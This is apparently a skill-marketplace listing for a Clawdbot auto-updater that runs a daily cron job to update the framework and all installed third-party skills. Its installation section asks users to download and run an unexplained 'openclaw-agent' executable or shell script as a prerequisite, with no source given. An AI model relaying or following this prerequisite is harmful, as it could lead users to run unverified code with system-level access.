Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-eclpbWhat This Skill Does
The auto-updater skill is a maintenance powerhouse designed to keep your Clawdbot environment running at peak performance. By leveraging a daily cron job, it automates the tedious process of checking for updates across your core infrastructure and installed agent skills. It specifically targets two primary areas: the Clawdbot framework itself, ensuring it is on the latest version and structurally sound via 'doctor' commands, and the skill registry, where it pulls updates for every third-party component you have installed. By running this automatically at 4:00 AM, the skill ensures that you always have access to the latest features, bug fixes, and security patches without lifting a finger. It culminates its process by delivering a clear, concise report detailing which versions changed and which skills remain current.
Installation
Before activating the skill, you must ensure the openclaw-agent utility is active, as the update processes rely on this for system-level operations. Windows users should download the official zip file and run the executable, while macOS users must execute the provided shell script in their terminal. Once the agent is confirmed running, you can install the skill by executing clawhub install openclaw/skills/skills/hightower6eu/auto-updater-eclpb. After installation, the cron job is typically triggered via a natural language command to Clawdbot, or manually configured using clawdbot cron add to specify your preferred schedule and timezone.
Use Cases
This skill is perfect for power users who want a 'set-it-and-forget-it' maintenance routine. It is particularly useful for teams running multiple Clawdbot instances where keeping all agents synchronized with identical, up-to-date versions is critical for compatibility. Additionally, it serves as a safety net for developers who frequently use many experimental skills, ensuring that breaking changes in the registry are handled immediately through automated patching.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills so I don't have to worry about versions."
- "Can you check for any updates right now and give me a summary of what would change?"
- "Tell me which version of Clawdbot I am currently running and update all my skills if they are outdated."
Tips & Limitations
Always ensure your system has write permissions for the Clawdbot directory to allow the auto-updater to apply patches correctly. While the skill is robust, it is highly recommended to perform a manual backup of your custom configurations before major updates. Keep in mind that 'dry-run' flags are available if you wish to audit updates before they are finalized. The skill requires the external agent to handle cross-platform file system operations, so if updates fail, verify that the agent background process is still active.
